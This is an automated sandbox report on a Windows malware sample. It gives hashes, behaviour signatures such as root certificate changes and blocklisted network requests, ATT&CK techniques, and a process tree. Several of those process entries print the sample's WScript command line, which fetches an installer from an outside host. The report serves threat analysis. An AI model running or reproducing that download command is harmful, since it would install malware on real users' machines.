Analysis

  • max time kernel
    102s
  • max time network
    106s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    24-11-2022 04:19

General

  • Target

    abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe

  • Size

    184KB

  • MD5

    02181395640c9db0f673cbff90f1f06e

  • SHA1

    0b69a0624d9268c0a654bea7f1f884a8f60be13c

  • SHA256

    abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240

  • SHA512

    ea65801585a88abe8acf1b3de7ef631e8ff144b0bdc29e40ddb1db8cd9c3d3ac552f8a216a0b23d404fbd587f62a56664b63f295855f52488b438594db1b0e38

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Y:/7BSH8zUB+nGESaaRvoB7FJNndnN

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe
    "C:\Users\Admin\AppData\Local\Temp\abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1208
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf10F2.js" http://www.djapp.info/?domain=DpULTVAAYZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf10F2.exe
      2⤵
      • Blocklisted process makes network request
      • Modifies system certificate store
      PID:1664
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf10F2.js" http://www.djapp.info/?domain=DpULTVAAYZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf10F2.exe
      2⤵
      • Blocklisted process makes network request
      PID:1644
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf10F2.js" http://www.djapp.info/?domain=DpULTVAAYZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf10F2.exe
      2⤵
      • Blocklisted process makes network request
      PID:1948
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf10F2.js" http://www.djapp.info/?domain=DpULTVAAYZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf10F2.exe
      2⤵
      • Blocklisted process makes network request
      PID:1732
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf10F2.js" http://www.djapp.info/?domain=DpULTVAAYZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf10F2.exe
      2⤵
      • Blocklisted process makes network request
      PID:1620

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Discovery

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf10F2.js
    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\64CWSOHV.txt
    Filesize

    100B

    MD5

    507e38d58f3c7d204d82912be55b5e6e

    SHA1

    6ec2829ba4c0c4be40ab011989b4bd18ad195216

    SHA256

    e5a34edbe4886f1d412c4b85141eabeabb35dd4e8641cf4b4172ac7bbdd42a62

    SHA512

    e7a08d49d88a4b02b249212bc2c6d7e0c4378c8d403a26bce45ebdaa9e66c6f6b08021ceec01b539987bf8e9b9fac6bffafead25cf410f639987d453f639a351

  • memory/1208-54-0x0000000075591000-0x0000000075593000-memory.dmp
    Filesize

    8KB

  • memory/1620-65-0x0000000000000000-mapping.dmp
  • memory/1644-58-0x0000000000000000-mapping.dmp
  • memory/1664-55-0x0000000000000000-mapping.dmp
  • memory/1732-63-0x0000000000000000-mapping.dmp
  • memory/1948-60-0x0000000000000000-mapping.dmp